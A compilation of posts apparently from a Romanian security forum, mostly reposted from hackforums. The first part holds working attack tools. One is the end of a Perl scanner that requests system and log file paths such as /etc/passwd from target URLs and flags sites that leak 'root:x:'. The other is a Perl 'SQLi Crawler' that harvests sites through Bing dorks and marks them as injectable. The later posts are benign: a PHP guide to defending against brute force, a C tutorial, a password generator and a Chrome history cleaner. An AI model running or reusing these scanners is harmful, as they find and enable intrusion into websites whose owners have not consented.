'/etc/pureftpd.passwd', '/etc/pure-ftpd/pureftpd.pdb', '/usr/ports/ftp/pure-ftpd/', '/usr/ports/net/pure-ftpd/', '/usr/pkgsrc/net/pureftpd/', '/usr/ports/contrib/pure-ftpd/', '/var/log/pure-ftpd/pure-ftpd.log', '/logs/pure-ftpd.log', '/var/log/pureftpd.log', '/var/log/ftp-proxy/ftp-proxy.log', '/var/log/ftp-proxy', '/var/log/ftplog', '/etc/logrotate.d/ftp', '/etc/ftpchroot', '/etc/ftphosts', '/var/log/exim_mainlog', '/var/log/exim/mainlog', '/var/log/maillog', '/var/log/exim_paniclog', '/var/log/exim/paniclog', '/var/log/exim/rejectlog', '/var/log/exim_rejectlog');print ">start scaning[...]\n"; foreach $scan(@vuls){$url = $link.$scan; $request = HTTP::Request->new(GET=>$url); $useragent = LWP::UserAgent->new(); $response = $useragent->request($request); if ($response->is_success && $response->content =~ /root:x:/) { $msg = Vulnerable;} else { $msg = "Not Found";}print "$scan..........[$msg]\n"; } Source : http://www.hackforums.net/showthread.php?tid=4198800
-
#!/usr/bin/perluse strict; use warnings; use HTTP::Request; use LWP::UserAgent; ###### my $dork; my $url; my $i; my $request; my $useragent; my $response; my $start; my $end; my $result; my $fl; my $link; my $req; my $ua; my $result2; my $res; my $save; my $pages; my $page; my $choice; ###### my @z; print q{ _ ____ _ | | _ \ | | __| | |_) | ___ | |_ / _` | _ < / _ \| __| | (_| | |_) | (_) | |_ \__,_|____/ \___/ \__| ###### ## / SQLi Crawler / ## ## Private Edition ## ## ~Coded by dbx~ ## ###### }; MainMenu: print "------\n"; print "Enter [1] To Begin SQLi.\n"; print "Enter [2] To Exit.\n"; print "------\n\n"; print "Your Choice: "; chomp ($choice = <STDIN>); print "\n"; if ($choice eq 1) {&sql_scan} if ($choice eq 5) {die;} sub sql_scan { print "[+] Enter Bing! dork: "; chomp ($dork = <STDIN>); print "\n"; print "[+] How Many Pages To Leech?: "; chomp ($pages = <STDIN>); print "\n"; $page = $pages.'1'; print "[~] Crawling...\n\n"; for ($i = 0; $i <= $page; $i=$i+11) { $url = "http://www.bing.com/search?q=$dork&go=&qs=n&sk=&sc=8-13&first=$i"; $request = HTTP::Request->new(GET => $url); $useragent = LWP::UserAgent->new(); $response = $useragent->request($request); $result = $response->content; $start = '<h3><a href="'; $end = '" onmousedown='; while ($result =~ m/$start(.*?)$end/g) { $fl = $1; $link = $fl."%27"; $req = HTTP::Request->new(GET => $link); $ua = LWP::UserAgent->new(); $res = $ua->request($req); $result2 = $res->content; if ($result2=~ m/You have an error in your SQL syntax/i || $result2=~ m/Query failed/i || $result2=~ m/SQL query failed/i || $result2=~ m/mysql_fetch_/i || $result2=~ m/mysql_fetch_array/i || $result2 =~ m/mysql_num_rows/i || $result2 =~ m/The used SELECT statements have a different number of columns/i ) { push @z, $link; print "[+] MySQL Vulnerable: $link\n\n"; } elsif ($result2 =~ m/Microsoft JET Database/i || $result2 =~ m/ODBC Microsoft Access Driver/i ) { push @z, $link; print "[+] MsSQL Vulnerable: $link\n\n"; } else { print "[-] $link <- Not Vulnerable\n\n"; } } } print "Vulnerable Links:\n"; print "------\n"; foreach (@z) { print "$_ \n\n"; } print "Save Into A Text File? (Y or N): "; chomp ($save = <STDIN>); if ($save eq 'Y') { print "Saving File...\n\n"; open(vuln_file, ">>Vulns.txt"); foreach (@z) { print vuln_file "$_ \n"; } close(vuln_file); print "File Saved!\n\n"; } goto MainMenu; } Source : http://www.hackforums.net/showthread.php?tid=4198784
-
[PHP Series] Brute Force and Dictionary Attacks upon Forms
Romania- posted a topic in Securitate web
What is it? A brute force attack is where all combinations of characters are used in an attempt to find a user's password. It is more formally known as an enumeration attack. A dictionary attack on the other hand is where words are used. It can be used in conjunction with a brute force attack to form a hybrid attack. How do I prevent it? There are a number of techniques we can implement into login pages to prevent such attacks, as shown below. Page Timing Sessions are used to maintain state within our web applications over a number of HTTP request calls. We can make use of them for timing form submissions to ensure that our form is not spammed or vulnerable to bruteforce/dictionary attacks. The following shows how we can implement such as system in PHP: <?php session_start(TRUE); if(!isset($_SESSION['mintime'])) { $_SESSION['mintime'] = array(0, time()); } if(isset($_POST['submit'])) { if($_POST['password'] && $_POST['username']) { // form validation here array_push($_SESSION['mintime'], time()); array_shift($_SESSION['mintime']); if($_SESSION['mintime'][1] - $_SESSION['mintime'][0] < 2) { // minimum time (in seconds) between valid form submissions // form submitted too quickly }else{ // successful form submission } }else{ // incomplete form data } } ?> <!DOCTYPE html> <html> <body> <form method="POST"> Username: <input type="text" name="username" /> Password: <input autocomplete="off" type="password" name="password" value="" /> <input type="submit" name="submit" value="Login!" /> </form> </body> </html> pon first landing on the above page, a session variable called mintime is created. It holds two values (time of initial page load and time of form submission), and is responsible for keeping track of the time between form submissions. With each subsequent form submission, a new value of the current time is pushed to the end of the $_SESSION['mintime'] array and the old time is removed from the beginning. Using these two times, we can find the difference between them and check to see if it is greater than the minimum amount of time between valid form submissions (which is 2 seconds in the above example). One thing to note with this method is to ensure that at least the password field does not have a prefilled value (a feature often offered by most modern-day browsers). This is because we need the end user to manually type in their password to ensure that they aren't able to immediately submit the form upon landing on the page (which would cause an invalid login). We do this by setting the password field using the value attribute, and by setting the (HTML5) autocomplete attribute to off. reCAPTCHA Recaptcha is becoming increasingly popular as a method to prevent bots from performing form submissions. For those of you who do not know what reCAPTCHA is, see this web page for more information. For this example, we will be using recaptcha, where we only manipulate the form data submitted once the reCAPTCHA has been correctly solved. First things first, you will need to sign up for http://www.google.com/recaptcha/whyrecaptcha. Having done that, you will now have your public and private keys at hand to be used in the following example. The next thing to do is to download the library associated with PHP, which can be found here. This will need to be included in both the generation of the reCAPTCHA within the form you're looking to protect, and also within the validation logic of said form. Here's what our form page may look like with Google's reCAPTCHA in place: <?php require_once 'recaptcha/recaptchalib.php'; if(isset($_POST['submit'])) { $privatekey = 'private_key_here'; $resp = recaptcha_check_answer($privatekey, $_SERVER['REMOTE_ADDR'], $_POST['recaptcha_challenge_field'], $_POST['recaptcha_response_field']); if(!$resp->is_valid) { // What happens when the CAPTCHA was entered incorrectly die ('The reCAPTCHA wasn\'t entered correctly. Go back and try it again. (reCAPTCHA said: '.$resp->error.')'); }else{ // Your code here to handle a successful verification } } ?> <!DOCTYPE html> <html lang="en"> <body> <form method="POST"> Username: <input type="text" name="username" /><br /> Password: <input type="password" name="password" /><br /> <?php $publickey = 'public_key_here'; echo recaptcha_get_html($publickey); ?> <input type="submit" name="submit" value="Log in" /> </form> </body> </html> The PHP code at the top of the page is the validation part, where an error is output if the input for the reCAPTCHA fails validation. If all goes smoothly, then we can continue to add our own validatory code within the else statement. For our form, we only need to echo out the reCAPTCHA form with the corresponding public key as the parameter for the reCAPTCHA generation function, recaptcha_get_html(). That's about as basic as it gets to adding reCAPTCHA to a form. You can visit Google's documentation on using its reCAPTCHA with PHP and other languages https://developers.google.com/recaptcha/docs/php?csw=1 Lengthening Successful Form Submissions The PHP: usleep - Manual function in PHP causes a script to pause for a time in microseconds (there are 1 million microseconds to a second). It can be used after a successful form submission to slow down the page ever so slightly so that real users won't notice its effect, but brute force/dictionary attacks will. Even setting the value of usleep() to 200000 microseconds (0.2 seconds) will greatly impede such attacks, rendering them useless. Here's a quick example usage: <?php if(isset($_POST['submit'])) { if($_POST['password'] && $_POST['username']) { // form validation here usleep(200000); // successful form submission }else{ // incomplete form data } } This method is more of a quick hack to prevent this type of attack, and it's one that I personally would not use because there are better alternatives (as discussed above). The techniques above are common ways to mitigate such attacks. There are other techniques that were not discussed above which can be deployed, such as account locking based on a certain number of attempts per IP address or requiring an answer to a random, pre-computed question. Using a computationally-slow hashing algorithm can also be a somewhat effective measure - though alone it will still allow for abuse on your Web form (which is something we want to mitigate). Source : http://www.hackforums.net/showthread.php?tid=4238146 -
What Is C ? C is a general-purpose high-level computer programming language that was originally developed by Dennis M. Ritchie to develop the UNIX operating system at Bell Labs. Like most imperative languages in the ALGOL tradition, C has facilities for structured programming and allows lexical variable scope and recursion, while a static type system prevents many unintended operations. Its design provides constructs that map efficiently to typical machine instructions, and therefore it has found lasting use in applications that had formerly been coded in assembly language, most notably system software like the Unix computer operating system. C was originally first implemented on the DEC PDP-11 computer in 1972. In 1978, Brian Kernighan and Dennis Ritchie produced the first publicly available description of C, now known as the K&R standard. In 1983, the American National Standards Institute (ANSI) established a committee to provide a modern, comprehensive definition of C. The resulting definition, the ANSI standard, or “ANSI C”, was completed late 1988. C is one of the most widely used programming languages of all time, and C compilers are available for the majority of available computer architectures and operating systems. Many later languages have borrowed directly or indirectly from C, including D, Go, Rust, Java, JavaScript, Limbo, LPC, C#, Objective-C, Perl, PHP, Python, Verilog (hardware description language), and Unix's C shell. But C keeps fluctuating at number one scale of popularity along with Java programming language, which is also equally popular and most widely used among modern software programmers. C has now become a widely used professional language mainly because of the following reasons: Easy to learn Structured language It produces efficient programs It can handle low level activities It can be compiled on a variety of computer platforms Why Should I Use C ? C has been used successfully for every type of programming problem imaginable from operating systems to spreadsheets to expert systems, and efficient compilers are available for machines ranging in power from the Apple Macintosh to the Cray supercomputers. The largest measure of C's success seems to be based on purely practical considerations: The portability of the compiler The standard library concept A powerful and varied repertoire of operators An elegant syntax Ready access to the hardware when needed The ease with which applications can be optimised by hand-coding isolated procedures C is often called a "Middle Level" programming language. This is not a reflection on its lack of programming power but more a reflection on its capability to access the system's low level functions. Most high-level languages (e.g. Fortran) provides everything the programmer might want to do already built into the language. A low level language (e.g. assembler) provides nothing other than access to the machines basic instruction set. A middle level language, such as C, probably doesn't supply all the constructs found in high-languages - but it provides you with all the building blocks that you will need to produce the results you want! Where Is C Used ? initially used for system development work, in particular the programs that make-up the operating system. Why use C? Mainly because it produces code that runs nearly as fast as code written in assembly language. Some examples of the use of C might be: Operating Systems Language Compilers Assemblers Text Editors Print Spoolers Network Drivers Modern Programs Data Bases Language Interpreters Utilities In recent years C has been used as a general-purpose language because of its popularity with programmers. It is not the world's easiest language to learn and you will certainly benefit if you are not learning C as your first programming language! C is trendy (I nearly said sexy) - many well established programmers are switching to C for all sorts of reasons, but mainly because of the portability that writing standard C programs can offer. Environment Setup ONLINE ENVIRONMENT You really do not need to set up your own environment to start learning C programming language. Reason is very simple, we already have a lot of C Programming environments available online, so that you can compile and execute all the available examples online at the same time when you are doing your theory work. This gives you confidence in what you are reading and to check the result with different options. Feel free to modify any example and execute it online. Some of the commonly used ones are: Compile and Execute C online Ideone.com - Online Compiler and IDE >> C/C++, Java, PHP, Python, Perl and 40+ other compilers and interpreters codepad You may optionally try the following program using any of the above online compilers. #include <stdio.h> int main() { /* my first program in C */ printf("Hello, World! \n"); return 0; } The most important tip towards learning a language is, nothing but practice LOCAL ENVIRONMENT If you are still willing to set up your environment for C programming language, you need the following two softwares available on your computer: Text Editor The C Compiler Text Editor This will be used to type your program. Examples of few editors include Windows Notepad, OS Edit command, Brief, Epsilon, EMACS, and vim or vi. Name and version of text editor can vary on different operating systems. For example, Notepad will be used on Windows, and vim or vi can be used on windows as well as Linux or UNIX. The files you create with your editor are called source files and contain program source code. The source files for C programs are typically named with the extension ".c". Before starting your programming, make sure you have one text editor in place and you have enough experience to write a computer program, save it in a file, compile it and finally execute it. The C Compiler The source code written in source file is the human readable source for your program. It needs to be "compiled", to turn into machine language so that your CPU can actually execute the program as per instructions given. This C programming language compiler will be used to compile your source code into final executable program. I assume you have basic knowledge about a programming language compiler. Most frequently used and free available compiler is GNU C/C++ compiler, otherwise you can have compilers either from HP or Solaris if you have respective Operating Systems. Following section guides you on how to install GNU C/C++ compiler on various OS. I'm mentioning C/C++ together because GNU gcc compiler works for both C and C++ programming languages. Installation on UNIX/Linux $ gcc -v If you have GNU compiler installed on your machine, then it should print a message something as follows: Using built-in specs. Target: i386-redhat-linux Configured with: ../configure --prefix=/usr ...... Thread model: posix gcc version 4.1.2 20080704 (Red Hat 4.1.2-46) If GCC is not installed, then you will have to install it yourself using the detailed instructions available at Installing GCC - GNU Project - Free Software Foundation (FSF) This tutorial has been written based on Linux and all the given examples have been compiled on Cent OS flavor of Linux system. Installation on Mac OS If you use Mac OS X, the easiest way to obtain GCC is to download the Xcode development environment from Apple's web site and follow the simple installation instructions. Once you have Xcode setup, you will be able to use GNU compiler for C/C++. Xcode is currently available at developer.apple.com/technologies/tools/. Installation on Windows To install GCC at Windows you need to install MinGW. To install MinGW, go to the MinGW homepage, MinGW | Minimalist GNU for Windows, and follow the link to the MinGW download page. Download the latest version of the MinGW installation program, which should be named MinGW-<version>.exe. While installing MinWG, at a minimum, you must install gcc-core, gcc-g++, binutils, and the MinGW runtime, but you may wish to install more. Add the bin subdirectory of your MinGW installation to your PATH environment variable, so that you can specify these tools on the command line by their simple names. When the installation is complete, you will be able to run gcc, g++, ar, ranlib, dlltool, and several other GNU tools from the Windows command line. Program Structure Before we study basic building blocks of the C programming language, let us look a bare minimum C program structure so that we can take it as a reference in the upcoming sections. A C program basically consists of the following parts: Preprocessor Commands Functions Variables Statements and Expressions Comments Consider the following example we tried earlier that would print the words "Hello, World! " #include <stdio.h> int main() { /* my first program in C */ printf("Hello, World! \n"); return 0; } Let us look various parts of the above program: The first line of the program #include <stdio.h> is a preprocessor command, which tells a C compiler to include stdio.h file before going to actual compilation. The next line int main() is the main function where program execution begins. The next line /*...*/ will be ignored by the compiler and it has been put to add additional comments in the program. So such lines are called comments in the program. The next line printf(...) is another function available in C which causes the message "Hello, World!" to be displayed on the screen. The next line return 0; terminates main()function and returns the value 0. Basic C Terminologies TOKENS C tokens are the basic buildings blocks in C language which are constructed together to write a C program. Each and every smallest individual units in a C program are known as C tokens. C tokens are of the following types types: Keywords Identifiers Variables Constants Strings Special Symbols Operators KEYWORDS Keywords are the reserved words used in programming. Each keywords has fixed meaning and that cannot be changed by user. For example: int sum; Here, int is a keyword that indicates, 'sum' is of type integer. As, C programming is case sensitive, all keywords must be written in lowercase. Here is the list of all keywords predefined by ASCII C List of all Keywords in C Language - used to define a variable of storage class automatic. List of all Keywords in C Language - used to jump out of the innermost enclosing loop. List of all Keywords in C Language - allows a variable to be tested for equality against a list of values. List of all Keywords in C Language - used for indicating the variable is of the type character. List of all Keywords in C Language - makes the value of a pointer or a variable unmodifiable. List of all Keywords in C Language - used to skip certain statements inside the loop. List of all Keywords in C Language - Used in case if it didn't match any of the case. List of all Keywords in C Language - used for looping in C List of all Keywords in C Language - represents double precision floating point data. List of all Keywords in C Language - used for decision making in C (probably the last condition) List of all Keywords in C Language - used for defining enumerated type data type. Besides these keywords, there are some additional keywords supported by Turbo C: asm, far, interrupt, pascal, near, huge, cdecl... IDENTIFIERS "Identifiers" or "symbols" are the names you supply for variables, types, functions, and labels in your program. Identifier names must differ in spelling and case from any keywords. You cannot use keywords (either C or Microsoft) as identifiers; they are reserved for special use. You create an identifier by specifying it in the declaration of a variable, type, or function. In this example, result is an identifier for an integer variable, and main and printf are identifier names for functions. #include <stdio.h> int main() { int result; if ( result != 0 ) printf_s( "Bad file handle\n" ); } Once declared, you can use the identifier in later program statements to refer to the associated value. A special kind of identifier, called a statement label, can be used in goto statements. Following rules are to be followed while naming C variables: Name of identifier includes alphabets, digit and underscore. First character of any identifier must be either alphabets or underscore. Name of identifier cannot be any keyword of c program. Name of function cannot be global identifier. VARIABLES A variable is nothing but a name given to a storage area that our programs can manipulate. Each variable in C has a specific type, which determines the size and layout of the variable's memory; the range of values that can be stored within that memory; and the set of operations that can be applied to the variable. The name of a variable can be composed of letters, digits, and the underscore character. It must begin with either a letter or an underscore. Upper and lowercase letters are distinct because C is case-sensitive. float sum; Here, 'sum' is a variable of floating point type. Following rules are to be followed while naming C variables: Variable name must begin with letter or underscore. Variables are case sensitive They can be constructed with digits, letters. No special symbols are allowed other than underscore. CONSTANTS The constants refer to fixed values that the program may not alter during its execution. These fixed values are also called literals. They can be of any of the basic data types like an integer constant, a floating constant, a character constant, or a string literal. There are also enumeration constants as well. They are treated just like regular variables except that their values cannot be modified after their definition. Integer Constants Integer constants are the numeric constants(constant associated with number) without any fractional part or exponential part. There are three types of integer constants in C language: decimal constant(base 10), octal constant(base 8) and hexadecimal constant(base 16) . Decimal digits: 0 1 2 3 4 5 6 7 8 9 Octal digits: 0 1 2 3 4 5 6 7 Hexadecimal digits: 0 1 2 3 4 5 6 7 8 9 A B C D E F Examples: Decimal constants: 6, 23, -3, 67, etc Octal constants: 065, 034, 027, 054, etc Hexadecimal constants: 0x5a, 0x252, 0x6f, etc Floating Point Constants A floating-point constant has an integer part, a decimal point, a fractional part, and an exponent part. You can represent floating point liconstants either in decimal form or exponential form. While representing using decimal form, you must include the decimal point, the exponent, or both and while representing using exponential form, you must include the integer part, the fractional part, or both. The signed exponent is introduced by e or E. Examples: -5.6, 0.1256, -0.67E-5 (or 0.0000067) Character Constants A character constant is a single alphabet, a single digit or a single special symbol enclosed within single quotes. The maximum length of a character constant is 1 character. Examples: 'a', '\n', '\u02C0', etc. There are some characters which have special meaning in C language. They should be preceded by backslash symbol to make use of special function of them. Given below is the list of some special characters and their purpose. \b - Backspace \f - Form feed \n - New line \r - Carriage return \t - Horizontal tab \” - Double quote \’ - Single quote \\ - Backslash \v - Vertical tab \a - Alert or bell \? - Question mark \N - Octal constant (N is an octal constant) \XN - Hexadecimal constant (N – hex.dcml cnst) Following is the example to show few escape sequence characters: #include <stdio.h> int main() { printf("Am\tLoving\nThis\tTutorial\n"); return 0; } When the above code is compiled and executed, it produces the following result: Am loving This Tutorial/CODE] [B][SIZE=5]String Constants[/SIZE] [/B] String literals or constants are enclosed in double quotes "". A string contains characters that are similar to character literals: plain characters, escape sequences, and universal characters. You can break a long line into multiple lines using string literals and separating them using white spaces. Here are some examples of string literals. All the three forms are identical strings. [CODE]"hello, dear" "hello, \ dear" "hello, " "d" "ear" Enumeration Constants Keyword enum is used to declare enumeration types. Enums are numbers used to represent what you can think of as your own datatype that you create. For example: enum color {yellow, green, black, white}; Here, the variable name is color and yellow, green, black and white are the enumeration constants having value 0, 1, 2 and 3 respectively by default. For more information about enumeration, visit page: Enumeration Types. OPERATORS The type of operations that can be performed on the data objects are specified by operators. The data items on which an operator acts are called its operands. An operator can be unary, binary or ternary depending upon whether it operates on one, two or three operands. An operator along with its operands constitute a simple expression. A compound expression can be formed by using simpler expressions as operands of the different types of operators. The evaluation order of the operators in an expression will be determined by the operator precedence rules followed in the C language. Arithmetic Operators The binary arithmetic operators are +, -, *, /, which correspond to addition, subtraction, multiplication and division respectively. The modulus operator % returns the remainder after integer division. The % (modulus) operator cannot be applied to float or double type data. Arithmetic operators associate left to right. The binary + and – operators have the same precedence when used in a calculation, but they have lower precedence than *, /, and % operators. To change the order of precedence brackets () are used. Here is an example of a complex arithmetic expression, which involves multiple arithmetic operators. int a = 2, b = 4, c = 8, d = 9, e; e = a * b / c – a * 2 + d * 3; Increment & Decrement Operators In C, ++ and -- are called increment and decrement operators respectively. Both of these operators are unary operators, i.e, used on single operand. ++ adds 1 to operand and -- subtracts 1 to operand respectively. For example: int a=5, b=10; a++; //a becomes 6 a--; //a becomes 5 ++a; //a becomes 6 --a; //a becomes 5 When i++ is used as prefix (like: ++var), ++var will increment the value of var and then return it but, if ++ is used as postfix (like: var++), operator will return the value of operand first and then only increment it. This can be demonstrated by an example: #include <stdio.h> int main(){ int c=2,d=2; printf("%d\n",c++); //this statement displays 2 then, only c incremented by 1 to 3. printf("%d",++c); //this statement increments 1 to c then, only c is displayed. return 0; } Output generated for the above part of code will be: 2 4 Assignment Operators Unlike other structured programming languages such as Pascal or FORTRAN, C treats assignment of values to a variable to be result of evaluation of the assignment operator(=). The assignment of values to an identifier is done in the following way: <identifier> = <expression>; i = 15; j = 17; m = 8; x = i * 3 + j - 5; (x gets 57) k = (i = i + j * 4) - (m / 2); (here assignment operator is used in the right expression too. k gets 79) The following is an example of multiple assignment. i = j = 9; (is equivalent to j = 9; i = j;) Note that the associativity of assignment operators is from right to left, hence assignments are carried out from right to left. The compound assignment operators help in writing compact expressions. For example: the statements c = c + 5; can be written as c += 5; f = f * (g + h); can also be written as f *= (g+h); or f *= g+h; Relational & Logical Operators The relational operators supported in C are > is greater than < is less than == is equal to != not equal to >= is greater than or equal to <= is less than or equal to The relational operators >, <, >=, <= have the same precedence. The equality operator == and the not equal to operator != have lower precedence than the remaining relational operators. The relational operators have lesser precedence than arithmetic operators, so an expression like i < j + 1 will always be evaluated as i < (j + 1). In C, if an expression evaluation yields zero value it is interpreted as false. Similarly it will be treated as true if the evaluation of an expression results in a non-zero value. The Logical operators supported in C are && (and) and || (or). Expressions connected by && and || are evaluated left to right, and evaluation stops as soon as the truth or falsehood of the condition is ascertained. The Unary negation operator (!) returns true if the expression evaluates false (i.e. the evaluation produces zero), false otherwise. DATA TYPES C data types are defined as the data storage format that a variable can store a data to perform a specific operation. Data types are used to define a variable before to use in a program. Size of variable, constant and array are determined by data types. Basic Data Types 1. Integer Data Type Integer data type allows a variable to store numeric values. “int” keyword is used to refer integer data type. The storage size of int data type is 2 or 4 or 8 byte. It varies depend upon the processor in the CPU that we use. If we are using 16 bit processor, 2 byte (16 bit) of memory will be allocated for int data type. Like wise, 4 byte (32 bit) of memory for 32 bit processor and 8 byte (64 bit) of memory for 64 bit processor is allocated for int datatype. int (2 byte) can store values from -32,768 to +32,767 int (4 byte) can store values from -2,147,483,648 to +2,147,483,647. If you want to use the integer value that crosses the above limit, you can go for “long int” and “long long int” for which the limits are very high. 2. Character Data Type Character data type allows a variable to store only one character. Storage size of character data type is 1. We can store only one character using character data type. “char” keyword is used to refer character data type. For example, ‘A’ can be stored using char datatype. You can’t store more than one character using char data type. Please refer C – Strings topic to know how to store more than one characters in a variable. 3. Floating Point & Double Data Types Floating Point data type consists of 2 types: Float and Double. Float data type allows a variable to store decimal values. Storage size of float data type is 4. This also varies depend upon the processor in the CPU as “int” data type. We can use up-to 6 digits after decimal using float data type. For example, 10.456789 can be stored in a variable using float data type. Double data type is also same as float data type which allows up-to 10 digits after decimal. The range for double datatype is from 1E–37 to 1E+37. Enumeration Data Type An enumeration consists of a set of named integer constants. An enumeration type declaration gives the name of the (optional) enumeration tag and defines the set of named integer identifiers (called the "enumeration set," "enumerator constants," "enumerators," or "members"). A variable with enumeration type stores one of the values of the enumeration set defined by that type. Variables of enum type can be used in indexing expressions and as operands of all arithmetic and relational operators. Enumerations provide an alternative to the #define preprocessor directive with the advantages that the values can be generated for you and obey normal scoping rules. In ANSI C, the expressions that define the value of an enumerator constant always have int type; thus, the storage associated with an enumeration variable is the storage required for a single int value. An enumeration constant or a value of enumerated type can be used anywhere the C language permits an integer expression. Derived Data Types Data types that are derived from fundamental data types are called derived data types. Derived data types don't create a new data type but,instead they add some functionality to the basic data types. Types of Function in C Programming Language C Pointers and Arrays Unions and Structures - C and C++ Programming Resources Void Data Type The data type void actually refers to an object that does not have a value of any type. We have already seen examples of its use when we have defined functions that return no value, i.e. functions which only print a message and have no value to return. Such a function is used for its side effect and not for its value. In the function declaration and definition, we have indicated that the function does not return a value by using the data type void to show an empty type, i.e. no value. Similarly, when a function has no formal parameters, the keyword void is used in the function prototype and header to signify that there is no information passed to the function. SOURCE : Hackforums.net
-
@tqcsu , si daca copiez de pe HF ce ? Nu am voie ! ? meriti warn pentru +1
-
from random import randint pamount = int(raw_input("How many passwords do you want to generate?\n")) plength = int(raw_input("How many characters should be in your password(s)?\n")) filename = raw_input("What do you want the name of your file to be?\n") son = int(raw_input("Do you want symbols or not? 2 = yes, 1 = no\n")) text = open(filename + ".txt", 'a') loopcount = 0 while loopcount < pamount: password = "" loopcount2 = 0 while loopcount2 < plength: if son == 1: if randint(1, 2) == 1: password += chr(randint(65, 90)) else: password += chr(randint(97, 122)) loopcount2 += 1 else: password += chr(randint(33, 125)) loopcount2 += 1 text.write(password + '\n') loopcount += 1 text.close()
-
* Deleting all temp files * Chrome caches & history * More faster than ccleaner Oui #!/usr/bin/python # -*- coding: utf-8 -*- import os import threading import platform import shutil #Coding by B3mB4m #b3mb4m@gmail.com #Tested on XP SP3 def temp(): klasor = "C:\\DOCUME~1\\"+platform.node()+"\\LOCALS~1\\Temp\\" for i in os.listdir(klasor): dosya = os.path.join(klasor,i) #Temp dosyalar?n? s?f?rla if os.path.isfile(dosya): try: os.remove(klasor+i) print "[+]Removed File " + i except: pass elif os.path.isdir(dosya): try: shutil.rmtree(klasor+i) print '[+] Removed Folder ' + i except: pass def chrome(): #Cache(önbellek) dosyalar?n? temizle klasor = "C:\\Documents and Settings\\"+platform.node()+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Cache\\" klasor2 = "C:\\Documents and Settings\\"+platform.node()+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Storage\\" klasor3 = "C:\\Documents and Settings\\"+platform.node()+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\Media Cache\\" klasor4 = "C:\\Documents and Settings\\"+platform.node()+"\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default\\" for i in os.listdir(klasor): dosya = os.path.join(klasor,i) if os.path.isfile(dosya): try: os.remove(klasor+i) print "[+] Chrome Cache File Deleted " + i except: pass #Yerel Depolama (Local Storage) dosyalar?n? temizle for i in os.listdir(klasor2): dosya = os.path.join(klasor2,i) if os.path.isfile(dosya): try: os.remove(klasor2+i) print "[+] Chrome Local Strage File Deleted " + i except: pass #Media Cache(önbellek) dosyalar?n? temizle for i in os.listdir(klasor3): dosya = os.path.join(klasor3,i) if os.path.isfile(dosya): try: os.remove(klasor3+i) print "[+] Chrome Media Cache File Deleted " + i except: pass #?nternet geçmi?i temizle for i in os.listdir(klasor4): dosya = os.path.join(klasor4,i) if os.path.isfile(dosya): try: if "Archived History" == i: os.remove(klasor4+i) print "[+] Chrome History File Deleted " + i elif "Current Tabs" == i: os.remove(klasor4+i) print "[+] Chrome History File Deleted " + i elif "History Provider Cache" == i: os.remove(klasor4+i) print "[+] Chrome History File Deleted " + i elif "Last Tabs" == i: os.remove(klasor4+i) print "[+] Chrome History File Deleted " + i elif "Network Action Predictor" == i: os.remove(klasor4+i) print "[+] Chrome History File Deleted " + i elif "Top Sites" == i: os.remove(klasor4+i) print "[+] Chrome History File Deleted " + i elif "Visited Links" == i: os.remove(klasor4+i) print "[+] Chrome History File Deleted " + i except: pass temp = threading.Thread(name='temp', target=temp) chrome = threading.Thread(name='chrome', target=chrome) temp.run() chrome.run()